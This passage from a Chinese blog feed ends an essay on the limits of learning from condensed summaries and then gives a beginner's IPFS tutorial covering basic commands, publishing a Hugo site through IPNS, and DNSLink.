<p>这个时代是一个内容爆炸、知识爆炸的时代,文字、图片、视频、书籍等资料比以往更加容易获取,还有来自于各种各样的软件、媒体的信息应接不暇,所有人都主动的或被动的处于持续学习的阶段。</p><p>为了能够更快速、更高效的获取知识,很多人会选择直接学习别人总结提炼过的内容。这种行为非常常见,学生购买的各种总结性资料例如学长笔记、知识点提纲、公式定理小手册,程序员阅读总结性文章等。</p><p>这种通过直接学习提炼过的内容的方法比普通的循规蹈矩的方法速度快很多,在绝大多数情况下解决问题也比传统方法更加有效,因为其能够直接指出关键点,能够直接给出解决方案,因此非常受大家喜爱。</p><p>在我看来,如果仅仅是要对某一方面知识进行粗略了解,这种方法行之有效,但如果想要在某一领域深入,甚至以后想要通过该领域养活自己,就必须避免使用这种捷径方法。</p><h3 id=提炼的知识丢失了很多细节><a href=#提炼的知识丢失了很多细节 class="header-mark headerLink">提炼的知识丢失了很多细节</a></h3><p>进行内容提炼必定会丢失细节,这是毫无疑问的。抱着学习的态度,我们还要考虑更多因素,包括进行内容提炼的人他自己的水平,还有提炼者自己的研究是否侧重于某个特定方向,从而可能导致内容的偏向性和不全面。</p><h3 id=提炼的知识只包含结果丢失了过程><a href=#提炼的知识只包含结果丢失了过程 class="header-mark headerLink">提炼的知识只包含结果,丢失了过程</a></h3><p>从初高中一直到大学,看过一些总结性内容,包括学长笔记、考点汇总等等。我发现这些内容为了能够更直接的传达内容,往往只包含结果,而丢失了这个内容是如何来的或者为什么如此的过程。</p><p>不是说这些总结提炼的内容不好,我反对的是为了省事而跳过对知识的由来和证明的学习。</p><p>从问题的提出到分析再到最后解决从而总结出知识的过程,比学习这个知识本身更有价值。很多知识我们后面的人生中可能根本用不到,但在这个过程中用到的方法我们如果掌握了,就可以迁移到其他新问题的解决中,这可能比某个知识本身更有价值。</p><h3 id=提炼的知识影响了拓展思维><a href=#提炼的知识影响了拓展思维 class="header-mark headerLink">提炼的知识影响了拓展思维</a></h3><p>提到影响拓展思维,其实我想表达的是,直接学习提炼的内容,目的性太强,以至于难以进行胡思乱想。</p><p>我从小在学习新事物的时候总会进行各种奇奇怪怪的联想,我不认为这会导致我的注意力分散,相反,我认为这种联想应该是必不可少的,能够为以后的发展拓宽思维,避免陷入木偶人生。</p><h2 id=应该在学习过程中掌握的能力><a href=#应该在学习过程中掌握的能力 class="header-mark headerLink">应该在学习过程中掌握的能力</a></h2><p>实话实说,我早已没有了小时候那个学遍所有可以接触到的知识的幻想,知识的种类和覆盖的范围如此广泛,在计算机和网络盛行的时代,掌握知识的数量早已不是衡量一个人能力高低的标准,学富五车也敌不过随时查一下互联网。</p><p>那我们学习知识是为了啥?在我看来,学会如何进行学习,学会如何进行提升,这个能力才能保证自己的不断进步,才是在学习基础知识的过程中必须掌握的能力,是比知识本身更为重要和珍贵的东西。</p><h3 id=发现问题的能力><a href=#发现问题的能力 class="header-mark headerLink">发现问题的能力</a></h3><p>越来越发现,能够发现问题的确是需要特殊培养的能力。很多情况下,明明一个非常新颖的问题就在眼前,可就是没有那个去发现它的慧眼,白白把机会让给了别人。一个典型的例子就是牛顿被苹果砸了一下然后经过研究发现了万有引力,我从心底里相信这个故事是特意编出来的,但是还是应该反思一下自己,小时候自己提出过类似的问题吗?</p><p>在学习的过程中,如果能够去了解一下古人如何提出一个问题,就会慢慢的学习到如何去看待一个新发现的事物,甚至能够从日常可见的已经习以为常的事物中发现新的问题,这是非常了不起的能力。</p><h3 id=分析问题的能力><a href=#分析问题的能力 class="header-mark headerLink">分析问题的能力</a></h3><p>面对一个新问题,要有去分析的能力,知道该从哪里入手分析,知道分析的方法,能够评估自己的方法。</p><p>能够提出自己的想法,即使最终无法完美的解决问题,但这个过程是非常重要的。</p>]]></description></item><item><title>IPFS 新手指北</title><link>https://zu1k.com/posts/tutorials/p2p/ipfs/</link><pubDate>Sun, 29 Nov 2020 22:21:44 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/tutorials/p2p/ipfs/</guid><description><![CDATA[
<h2 id=ipfs简介><a href=#ipfs简介 class="header-mark headerLink">IPFS简介</a></h2><p><strong>IPFS</strong>全称<code>InterPlanetary File System</code>,中文名叫<strong>星际文件系统</strong>,听起来非常酷炫。</p><p>它是是一个旨在创建<strong>持久</strong>且<strong>分布式</strong>存储和<strong>共享</strong>文件的网络传输协议,是一种内容可寻址的对等超媒体分发协议。在IPFS网络中的<strong>全球所有</strong>节点将构成<strong>一个</strong>分布式文件系统,全球中的每一个人都可以通过IPFS网关存储和访问IPFS里面的文件。</p><p>这个酷炫的项目最初由Juan Benet设计,自2014年开始由Protocol Labs在开源社区的帮助下发展,是一个<strong>完全开源</strong>的项目。</p><ul><li><a href=https://ipfs.io/ target=_blank rel="noopener noreffer" class=post-link>IPFS官网</a></li><li><a href=https://github.com/ipfs target=_blank rel="noopener noreffer" class=post-link>GitHub</a></li></ul><h2 id=ipfs的优点><a href=#ipfs的优点 class="header-mark headerLink">IPFS的优点</a></h2><h3 id=与现有web比较><a href=#与现有web比较 class="header-mark headerLink">与现有Web比较</a></h3><p><img src=compare/ipfs-illustration-http.svg alt=compare/ipfs-illustration-http.svg title="Today&rsquo;s web is inefficient and expensive" loading=lazy></p><h4 id=现有的网络技术效率低下成本高昂><a href=#现有的网络技术效率低下成本高昂 class="header-mark headerLink">现有的网络技术效率低下、成本高昂</a></h4><p>HTTP一次从一台计算机下载文件,而不是同时从多台计算机获取文件。点对点IPFS<strong>节省了大量的带宽</strong>,视频高达60%,这使得无需重复地高效地分发大量数据成为可能。</p><p><img src=compare/ipfs-illustration-history.svg alt=compare/ipfs-illustration-history.svg title="Today&rsquo;s web can&rsquo;t preserve humanity&rsquo;s history" loading=lazy></p><h4 id=现有的网络无法保存人类的历史><a href=#现有的网络无法保存人类的历史 class="header-mark headerLink">现有的网络无法保存人类的历史</a></h4><p>一个网页的平均寿命是100天,然后就永远消失了。我们这个时代的主要媒介还不够脆弱。IPFS<strong>保留文件的每一个版本</strong>,并使为镜像数据建立弹性网络变得简单。</p><p><img src=compare/ipfs-illustration-centralized.svg alt=compare/ipfs-illustration-centralized.svg title="Today&rsquo;s web is centralized, limiting opportunity" loading=lazy></p><h4 id=现有的网络是集中的限制了机会><a href=#现有的网络是集中的限制了机会 class="header-mark headerLink">现有的网络是集中的,限制了机会</a></h4><p>互联网作为人类历史上最伟大的均衡器之一,推动了创新的发展,但日益巩固的集权控制威胁着这一进步。IPFS通过分布式技术来避免这一点。</p><p><img src=compare/ipfs-illustration-network.svg alt=compare/ipfs-illustration-network.svg title="Today&rsquo;s web is addicted to the backbone" loading=lazy></p><h4 id=现有的网络深度依赖主干网><a href=#现有的网络深度依赖主干网 class="header-mark headerLink">现有的网络深度依赖主干网</a></h4><p>IPFS支持创建多样化的弹性网络,以实现<strong>持久可用性</strong>,无论是否有Internet主干网连接。这意味着发展中国家在自然灾害期间,或者在咖啡厅的wi-fi上时,能够更好地连接。</p><h3 id=ipfs做的更好><a href=#ipfs做的更好 class="header-mark headerLink">IPFS做的更好</a></h3><p>IPFS宣称,无论你现在在用已有的Web技术干什么,IPFS都可以做到更好。</p><p><img src=/posts/tutorials/p2p/ipfs/usefull/usefull_1_hu44cd894b481e49439e4024ed796a7bf4_20225_538x166_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/usefull/usefull_1_hu44cd894b481e49439e4024ed796a7bf4_20225_538x166_resize_q75_h2_box_3.webp title="usefull 1" height=166 width=538 loading=lazy></p><ul><li><p>对于<strong>归档人员</strong></p><p>IPFS提供了数据块去重、高性能和基于集群的数据持久化,这有利于存储世界上的信息来造福后代</p></li><li><p>对于<strong>服务提供商</strong></p><p>IPFS提供安全的P2P内容交付,可以为服务提供者节省数百万带宽成本</p></li><li><p>对于<strong>研究者</strong></p><p>如果您使用或分发大型数据集,IPFS可以帮助您提供快速的性能和分散的归档</p></li></ul><p><img src=/posts/tutorials/p2p/ipfs/usefull/usefull_2_hud188cfbd7834764fa61fe071c6cf27c8_19823_524x160_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/usefull/usefull_2_hud188cfbd7834764fa61fe071c6cf27c8_19823_524x160_resize_q75_h2_box_3.webp title="usefull 2" height=160 width=524 loading=lazy></p><ul><li><p>对于<strong>世界发展</strong></p><p>对于那些互联网基础设施较差的人来说,高延迟网络是一大障碍。IPFS提供对数据的弹性访问,独立于延迟或主干网连接</p></li><li><p>对于<strong>区块链</strong></p><p>使用IPFS,您可以处理大量数据,并在事务中放置不可变的永久链接—时间戳和保护内容,而不必将数据本身放在链上</p></li><li><p>对于<strong>内容创造者</strong></p><p>IPFS充分体现了网络的自由和独立精神,可以帮助您以更低的成本交付内容</p></li></ul><h2 id=工作原理><a href=#工作原理 class="header-mark headerLink">工作原理</a></h2><p>让我们通过向IPFS添加一个文件这个过程,来简单看一下IPFS是如何工作的</p><p><img src=/posts/tutorials/p2p/ipfs/work/work_1_huec82a8acf873cbbdd65180e0cc3cbe80_18454_715x143_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/work/work_1_huec82a8acf873cbbdd65180e0cc3cbe80_18454_715x143_resize_q75_h2_box_3.webp title=第一步 height=143 width=715 loading=lazy></p><p>IPFS将文件切割为多个小块,每个块的大小为256KB,块的数量由文件的大小决定。然后计算每个块的Hash,作为这个块的指纹。</p><p><img src=/posts/tutorials/p2p/ipfs/work/work_2_hud94bb78b709f95278d72421a0a468b77_6001_687x148_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/work/work_2_hud94bb78b709f95278d72421a0a468b77_6001_687x148_resize_q75_h2_box_3.webp title=第二步 height=148 width=687 loading=lazy></p><p>因为很多文件数据有重复的部分,在切割成小块后,这些小块有的会完全相同,表现出来就是指纹Hash相同。拥有相同指纹Hash的块被视为同一个块,所以相同的数据在IPFS都表现为同一块,这也就消除了存储相同数据的额外开销。</p><p><img src=/posts/tutorials/p2p/ipfs/work/work_3_hu5cef949eb7c1c8c22a04f4a9246efd20_12989_713x144_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/work/work_3_hu5cef949eb7c1c8c22a04f4a9246efd20_12989_713x144_resize_q75_h2_box_3.webp title=第三步 height=144 width=713 loading=lazy></p><p>IPFS网络中的每一个节点只存储自己<strong>感兴趣</strong>的内容,也就是该IPFS节点的使用者经常访问、或指定要固定的内容。</p><p>除此之外还需要额外存储一些索引信息,这些索引信息用来帮助文件查找的寻址工作。当我们需要获取某个块的时候,索引信息就可以告诉IPFS这个特定块在哪些节点上有存储。</p><p><img src=/posts/tutorials/p2p/ipfs/work/work_4_hu094a3b5b5c985399ecfefd792883cc42_15836_701x144_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/work/work_4_hu094a3b5b5c985399ecfefd792883cc42_15836_701x144_resize_q75_h2_box_3.webp title=第四步 height=144 width=701 loading=lazy></p><p>当我们要从IPFS中查看或者下载某个文件时,IPFS便要通过改文件的<strong>指纹Hash</strong>查询索引信息,并向自己连接的节点进行询问。这一步需要找到IPFS网络中的哪些节点存储着自己想要的文件数据块。</p><p><img src=/posts/tutorials/p2p/ipfs/work/one-ipfs-node-only_hu134fbf3dc9c72655ec002a1361ebd0db_348906_1673x1045_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/work/one-ipfs-node-only_hu134fbf3dc9c72655ec002a1361ebd0db_348906_1673x1045_resize_q75_h2_box_3.webp title=IPFS寻址 height=1045 width=1673 loading=lazy></p><p><img src=/posts/tutorials/p2p/ipfs/work/work_5_hu3ebe2645eb4e300f35ec45f1a3b47252_19622_710x139_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/work/work_5_hu3ebe2645eb4e300f35ec45f1a3b47252_19622_710x139_resize_q75_h2_box_3.webp title=第五步 height=139 width=710 loading=lazy></p><p>如果你无法记住IPFS中存储的文件的指纹Hash(是一段非常长的字符串),实际上你也无须记住这个Hash,IPFS提供了<strong>IPNS</strong>来提供<strong>人类可读名字</strong>到<strong>指纹Hash</strong>之间的映射,你只需要记住你添加在IPNS中的人类可读名字即可。</p><h2 id=基本使用><a href=#基本使用 class="header-mark headerLink">基本使用</a></h2><h3 id=安装><a href=#安装 class="header-mark headerLink">安装</a></h3><p>设置环境变量<code>IPFS_PATH</code>,这个目录在后面进行初始化和使用的时候会作为IPFS的本地仓库。如果这里不进行设置,IPFS默认会使用用户目录下的<code>.ipfs</code>文件夹作为本地仓库。</p><p><img src=/posts/tutorials/p2p/ipfs/tutorial/ipfs_env_hu53d55428ab457539b5df30a7ebf7cf23_15025_610x264_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/tutorial/ipfs_env_hu53d55428ab457539b5df30a7ebf7cf23_15025_610x264_resize_q75_h2_box_3.webp title="设置环境变量 IPFS_PATH" height=264 width=610 loading=lazy></p><h4 id=初始化><a href=#初始化 class="header-mark headerLink">初始化</a></h4><p>运行命令 <code>ipfs init</code> 进行初始化,这一步会初始化密钥对,并在刚刚指定的<code>IPFS_PATH</code>目录创建初始文件。</p><p><img src=/posts/tutorials/p2p/ipfs/tutorial/ipfs_init_hue0c94ec89459672a8c5cc644ff0765dd_18447_727x152_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/tutorial/ipfs_init_hue0c94ec89459672a8c5cc644ff0765dd_18447_727x152_resize_q75_h2_box_3.webp title=初始化 height=152 width=727 loading=lazy></p><h4 id=查看节点id信息><a href=#查看节点id信息 class="header-mark headerLink">查看节点ID信息</a></h4><p>运行命令 <code>ipfs id</code> 即可查看自己IPFS节点ID信息,包含了节点ID、公钥、地址、代理版本、协议版本、支持的协议等信息</p><p>可以通过 <code>ipfs id 别人的ID</code>来查看别人的节点ID信息</p><h4 id=检查可用性><a href=#检查可用性 class="header-mark headerLink">检查可用性</a></h4><p>通过显示的命令来检查可用性,这里使用<code>ipfs cat</code>命令来查看指定的<code>CID</code>对应的内容。</p><p><img src=/posts/tutorials/p2p/ipfs/tutorial/ipfs_init_hue0c94ec89459672a8c5cc644ff0765dd_18447_727x152_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/tutorial/ipfs_init_hue0c94ec89459672a8c5cc644ff0765dd_18447_727x152_resize_q75_h2_box_3.webp title="IPFS cat" height=152 width=727 loading=lazy></p><h4 id=开启守护进程><a href=#开启守护进程 class="header-mark headerLink">开启守护进程</a></h4><p>运行下面命令开启守护进程</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-powershell data-lang=powershell><span class=line><span class=cl><span class=n>ipfs</span> <span class=n>daemon</span>
</span></span></code></pre></td></tr></table></div></div></div><h3 id=获取文件夹><a href=#获取文件夹 class="header-mark headerLink">获取文件(夹)</a></h3><p>IPFS获取文件的方式是隐式的,我们可以通过查看、下载等命令,告诉IPFS你要去获取我想要的文件</p><h4 id=查看文本><a href=#查看文本 class="header-mark headerLink">查看文本</a></h4><p>查看文本使用 <code>ipfs cat</code>命令来进行,就如前面检查可用性的使用一样</p><h4 id=下载二进制><a href=#下载二进制 class="header-mark headerLink">下载二进制</a></h4><p>对于图片、视频等文件,无法使用<code>cat</code>命令来查看(cat出来是一堆乱码),此时我们可以使用<code>ipfs get cid</code>的方式来将文件下载到本地。不过这样直接下载文件名会是指定的CID,一个长字符串不具有识别性,我们可以重定向到指定的文件,<code>ipfs get cid -o newname.png</code></p><p><img src=/posts/tutorials/p2p/ipfs/tutorial/ipfs_get_hub7496c85bb414641f3077f6cc733b39d_34008_1076x276_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/tutorial/ipfs_get_hub7496c85bb414641f3077f6cc733b39d_34008_1076x276_resize_q75_h2_box_3.webp title="IPFS get" height=276 width=1076 loading=lazy></p><h4 id=列出目录><a href=#列出目录 class="header-mark headerLink">列出目录</a></h4><p>通过<code>ipfs ls</code>命令来列出一个目录</p><p><img src=/posts/tutorials/p2p/ipfs/tutorial/ipfs_ls_hu5ebba350e887d3e45522f22c53bbc550_42643_1085x191_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/tutorial/ipfs_ls_hu5ebba350e887d3e45522f22c53bbc550_42643_1085x191_resize_q75_h2_box_3.webp title="IPFS ls" height=191 width=1085 loading=lazy></p><h3 id=添加文件夹><a href=#添加文件夹 class="header-mark headerLink">添加文件(夹)</a></h3><p>通过<code>ipfs add 文件名</code>命令来将文件添加到IPFS</p><p>如果需要添加文件夹,需要添加<code>-r</code>参数来使其递归处理</p><p><img src=/posts/tutorials/p2p/ipfs/tutorial/ipfs_add_hu1c96c226f6134ef6708ef949a5fca894_26053_1097x152_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/tutorial/ipfs_add_hu1c96c226f6134ef6708ef949a5fca894_26053_1097x152_resize_q75_h2_box_3.webp title="IPFS add" height=152 width=1097 loading=lazy></p><h2 id=相关概念><a href=#相关概念 class="header-mark headerLink">相关概念</a></h2><p>在进行深一步学习之前,先让我们来看一下关于IPFS几个不得不知道的概念,这些概念是IPFS的基础组成部分,对后续的使用至关重要</p><h3 id=peer><a href=#peer class="header-mark headerLink">Peer</a></h3><p><strong>Peer</strong>是对等节点,因为IPFS是基于P2P技术实现的,所以没有服务器客户端这一说,每个人都同时是服务器和客户端,人人为我,我为人人。</p><h3 id=cid><a href=#cid class="header-mark headerLink">CID</a></h3><p><strong>内容标识符</strong>(CID)是一个用于指向IPFS中的内容的标签。它不指示内容存储在哪里,但它根据内容数据本身形成一种地址。无论它指向的内容有多大,CID都很短</p><p>详细内容见:<a href=https://docs.ipfs.io/concepts/content-addressing/ target=_blank rel="noopener noreffer" class=post-link>IPFS官方文档:Content addressing and CIDs</a></p><p>在线的CID查看器:<a href=https://cid.ipfs.io/ target=_blank rel="noopener noreffer" class=post-link>CID Inspector</a></p><h3 id=gateway><a href=#gateway class="header-mark headerLink">Gateway</a></h3><ul><li>IPFS官方提供的Gateway: <a href=https://ipfs.io/ target=_blank rel="noopener noreffer" class=post-link>https://ipfs.io/</a></li><li>Cloudflare提供的IPFS Gateway服务:https://cf-ipfs.com</li><li>其他公开的Gateway列表:https://ipfs.github.io/public-gateway-checker/</li></ul><p><a href=https://www.cloudflare.com/distributed-web-gateway/ target=_blank rel="noopener noreffer" class=post-link>https://www.cloudflare.com/distributed-web-gateway/</a></p><p>具体见:<a href=https://docs.ipfs.io/concepts/ipfs-gateway/ target=_blank rel="noopener noreffer" class=post-link>IPFS文档:Gateway</a></p><h3 id=ipns><a href=#ipns class="header-mark headerLink">IPNS</a></h3><p>IPFS使用基于内容的寻址方式,简单说就是IPFS根据文件数据的Hash来生成CID,这个CID只与文件内容有关,这也就导致了如果我们修改这个文件的内容,这个CID也会改变。如果我们通过IPFS给别人分享文件,则每次更新内容时都需要给此人一个新链接。</p><p>为了解决这个问题,星际名称系统(IPNS)通过创建一个可以更新的地址来解决这个问题。</p><p>具体见:<a href=https://docs.ipfs.io/concepts/ipns/ target=_blank rel="noopener noreffer" class=post-link>IPFS文档:IPNS</a></p><h3 id=ipld><a href=#ipld class="header-mark headerLink">IPLD</a></h3><p><a href=https://docs.ipfs.io/concepts/ipld/ target=_blank rel="noopener noreffer" class=post-link>https://docs.ipfs.io/concepts/ipld/</a></p><h2 id=在ipfs部署网站><a href=#在ipfs部署网站 class="header-mark headerLink">在IPFS部署网站</a></h2><p>既然IPFS宣称能够构建新一代分布式Web,那我们便想要把自己的网站部署到IPFS上去,一起体验一下去中心化、分布式的Web3.0技术</p><h3 id=将文件添加到ipfs中><a href=#将文件添加到ipfs中 class="header-mark headerLink">将文件添加到IPFS中</a></h3><p>我使用的是Hugo静态网站生成器生成我的博客,生成的内容存放在<code>public</code>目录下,所以首先我需要将<code>public</code>目录及其里面的所有内容添加到IPFS中。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-powershell data-lang=powershell><span class=line><span class=cl><span class=c># -r 参数代表递归添加</span>
</span></span><span class=line><span class=cl><span class=n>ipfs</span> <span class=n>add</span> <span class=n>-r</span> <span class=n>public</span>
</span></span><span class=line><span class=cl>
</span></span><span class=line><span class=cl><span class=c># 实际运行效果</span>
</span></span><span class=line><span class=cl><span class=nb>PS </span><span class=n>D:</span><span class=p>\</span><span class=n>blog</span><span class=p>></span> <span class=n>ipfs</span> <span class=n>add</span> <span class=n>-r</span> <span class=n>public</span>
</span></span><span class=line><span class=cl><span class=n>added</span> <span class=n>QmZT5jXEi2HFVv8tzuDqULBaiEPc8geZFVjXxb9iAsBqbg</span> <span class=n>public</span><span class=p>/</span><span class=mf>404</span><span class=p>.</span><span class=py>html</span>
</span></span><span class=line><span class=cl><span class=n>added</span> <span class=n>QmcGDfkg6mcboba3MkNeamGQvRgdnHiD4HZhvCRwEnSdSj</span> <span class=n>public</span><span class=p>/</span><span class=n>CNAME</span>
</span></span><span class=line><span class=cl><span class=n>很长的滚屏后</span><span class=p>......</span>
</span></span><span class=line><span class=cl><span class=n>added</span> <span class=n>QmT61SS4ykbnt1ECQFDfX27QJdyhsVfRrLJztDvbcR7Kc1</span> <span class=n>public</span><span class=p>/</span><span class=n>tags</span>
</span></span><span class=line><span class=cl><span class=n>added</span> <span class=n>QmdoJ8BiuN8H7K68hJhk8ZrkFXjU8T9Wypi9xAyAzt2zoj</span> <span class=n>public</span>
</span></span><span class=line><span class=cl> <span class=mf>35.12</span> <span class=n>MiB</span> <span class=p>/</span> <span class=mf>35.12</span> <span class=n>MiB</span> <span class=p>[===========================================]</span> <span class=mf>100.00</span><span class=p>%</span>
</span></span></code></pre></td></tr></table></div></div></div><p>如果你不想看这么长的滚屏,只想要最后一个Hash,可以添加一个 <code>Q</code> (quiet) 参数</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-powershell data-lang=powershell><span class=line><span class=cl><span class=nb>PS </span><span class=n>D:</span><span class=p>\</span><span class=n>blog</span><span class=p>\</span><span class=n>blog</span><span class=p>></span> <span class=n>ipfs</span> <span class=n>add</span> <span class=n>-rQ</span> <span class=n>public</span>
</span></span><span class=line><span class=cl><span class=n>QmdoJ8BiuN8H7K68hJhk8ZrkFXjU8T9Wypi9xAyAzt2zoj</span>
</span></span></code></pre></td></tr></table></div></div></div><h3 id=通过ipfs网关访问><a href=#通过ipfs网关访问 class="header-mark headerLink">通过IPFS网关访问</a></h3><p>在刚刚添加完成的最后,名称为<code>public</code>的那串Hash便是public目录的CID,我们现在可以通过这个CID在IPFS网关上访问我们刚刚的添加的内容。</p><h4 id=本机网关访问><a href=#本机网关访问 class="header-mark headerLink">本机网关访问</a></h4><p>我们先通过本机的IPFS网关来访问一下,看看有没有添加成功。注意这一步需要你本地已经开启了IPFS守护进程。</p><p>访问:<a href=http://localhost:8080/ipfs/QmdoJ8BiuN8H7K68hJhk8ZrkFXjU8T9Wypi9xAyAzt2zoj target=_blank rel="noopener noreffer" class=post-link>http://localhost:8080/ipfs/QmdoJ8BiuN8H7K68hJhk8ZrkFXjU8T9Wypi9xAyAzt2zoj</a></p><p>然后浏览器会自动进行跳转,可以看到能够正常访问我们的页面</p><p><img src=/posts/tutorials/p2p/ipfs/web/ipfs_local_web_huadb15ebe10d4db9e763e1c38076cb909_45426_1043x515_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/web/ipfs_local_web_huadb15ebe10d4db9e763e1c38076cb909_45426_1043x515_resize_q75_h2_box_3.webp title="IPFS local web" height=515 width=1043 loading=lazy></p><div class="details admonition note open"><div class="details-summary admonition-title"><i class="icon icon-pencil"></i>注意<i class="details-icon icon-angle-circled-right"></i></div><div class=details-content><div class=admonition-content><p>你会发现浏览器地址栏的网址为一个另一个<strong>长字符串</strong>构成的域名</p><p>长字符串.ipfs.localhost:8080</p><p>这里的长字符串是IPFS中的另一个概念:IPLD</p></div></div></div><p>如果你的页面只能够显示内容,但是样式是错误的,如下图</p><p><img src=/posts/tutorials/p2p/ipfs/web/local_error_hub933175cd275d038d871d1d59177ba77_31148_799x326_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/web/local_error_hub933175cd275d038d871d1d59177ba77_31148_799x326_resize_q75_h2_box_3.webp title=样式错误 height=326 width=799 loading=lazy></p><p>这是因为使用的是<strong>绝对地址</strong>,我们需要使用<strong>相对地址</strong>的形式,如果你和我一样使用Hugo,那么只需要在你的配置文件中增加 <code>relativeURLs = true</code> 即可</p><h4 id=远程网关访问><a href=#远程网关访问 class="header-mark headerLink">远程网关访问</a></h4><p>刚刚我们通过本机的IPFS网关成功访问到了IPFS中的网站,现在我们找一个公开的其他的IPFS网关来访问试一下</p><p>这里我选择IPFS官方维护的网关:https://ipfs.io,访问:https://ipfs.io/ipfs/QmdoJ8BiuN8H7K68hJhk8ZrkFXjU8T9Wypi9xAyAzt2zoj</p><p>需要注意的是,此时网站还只存在于我们本机上,其他IPFS网关从IPFS网络中找到我们的网站文件需要一段时间,我们需要保证此时IPFS守护进程不关闭并已经连接了成百上千的其他节点,这样有利于IPFS官方Gateway尽快找到我们。</p><p>经过多次刷新和焦急的等待后,终于有了显示</p><p><img src=/posts/tutorials/p2p/ipfs/web/ipfs_web_huc31d8cfbcc41ab9125f8980cf7f3d7c6_7419_664x89_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/web/ipfs_web_huc31d8cfbcc41ab9125f8980cf7f3d7c6_7419_664x89_resize_q75_h2_box_3.webp title="IPFS WEB" height=89 width=664 loading=lazy></p><h3 id=使用ipns进行映射><a href=#使用ipns进行映射 class="header-mark headerLink">使用IPNS进行映射</a></h3><p>使用命令 <code>ipfs name publish CID</code> 来发布一个IPNS,这里可能需要等待一会</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-powershell data-lang=powershell><span class=line><span class=cl><span class=nb>PS </span><span class=n>D:</span><span class=p>\</span><span class=n>blog</span><span class=p>\</span><span class=n>blog</span><span class=p>></span> <span class=n>ipfs</span> <span class=n>name</span> <span class=n>publish</span> <span class=n>QmdoJ8BiuN8H7K68hJhk8ZrkFXjU8T9Wypi9xAyAzt2zoj</span>
</span></span><span class=line><span class=cl><span class=n>Published</span> <span class=n>to</span> <span class=n>k51qzi5uqu5djhbknypxifn09wxhtf3y1bce8oriud1ojqz5r71mpu75rru520</span><span class=err>:</span> <span class=p>/</span><span class=n>ipfs</span><span class=p>/</span><span class=n>QmdoJ8BiuN8H7K68hJhk8ZrkFXjU8T9Wypi9xAyAzt2zoj</span>
</span></span></code></pre></td></tr></table></div></div></div><p><img src=/posts/tutorials/p2p/ipfs/web/ipns_web_hu28962914925ee0c2440453f343e921c2_9294_866x90_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/web/ipns_web_hu28962914925ee0c2440453f343e921c2_9294_866x90_resize_q75_h2_box_3.webp title="ipns web" height=90 width=866 loading=lazy></p><p>通过使用IPNS映射,后续我们可以不断更新网站内容。如果没有使用IPNS而是直接发布CID,那别人便无法访问最新的版本了</p><div class="details admonition note open"><div class="details-summary admonition-title"><i class="icon icon-pencil"></i>注意<i class="details-icon icon-angle-circled-right"></i></div><div class=details-content><div class=admonition-content><p>如果使用了IPNS,需要备份节点的<code>私钥</code>和生成IPNS地址时生成的<code>Key</code></p><p>它们分别存储在你init时显示的目录下的<code>config</code>文件和<code>keystore</code>文件夹内</p></div></div></div><h3 id=解析域名><a href=#解析域名 class="header-mark headerLink">解析域名</a></h3><p>IPNS不是在IPFS上创建可变地址的唯一方法,我们还可以使用<strong>DNSLink</strong>,它目前比IPNS<strong>快得多</strong>,还使用<strong>人类可读</strong>的名称。</p><p>例如我想要给刚刚发布在IPFS上的网站绑定<code>ipfs.zu1k.com</code>这个域名,那我就需要创建<code>_dnslink.ipfs.zu1k.com</code>的<strong>TXT</strong>记录</p><p><img src=/posts/tutorials/p2p/ipfs/web/dnslink_hu2066ae7cdfeed825f54764811fdc23f4_23865_1011x352_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/web/dnslink_hu2066ae7cdfeed825f54764811fdc23f4_23865_1011x352_resize_q75_h2_box_3.webp title=DNSLink height=352 width=1011 loading=lazy></p><p>然后任何人都可以用 <code>/ipfs/ipfs.zu1k.com</code> 来找到我的网站了,访问<a href=http://localhost:8080/ipns/ipfs.zu1k.com target=_blank rel="noopener noreffer" class=post-link>http://localhost:8080/ipns/ipfs.zu1k.com</a></p><p><img src=/posts/tutorials/p2p/ipfs/web/ipfs_dnslink_web_hu33d8573f961b2198a8f9cce73fac7e04_29509_832x360_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/web/ipfs_dnslink_web_hu33d8573f961b2198a8f9cce73fac7e04_29509_832x360_resize_q75_h2_box_3.webp title="DNSLink Web" height=360 width=832 loading=lazy></p><p>详细文档见:<a href=https://docs.ipfs.io/concepts/dnslink/#publish-using-a-subdomain target=_blank rel="noopener 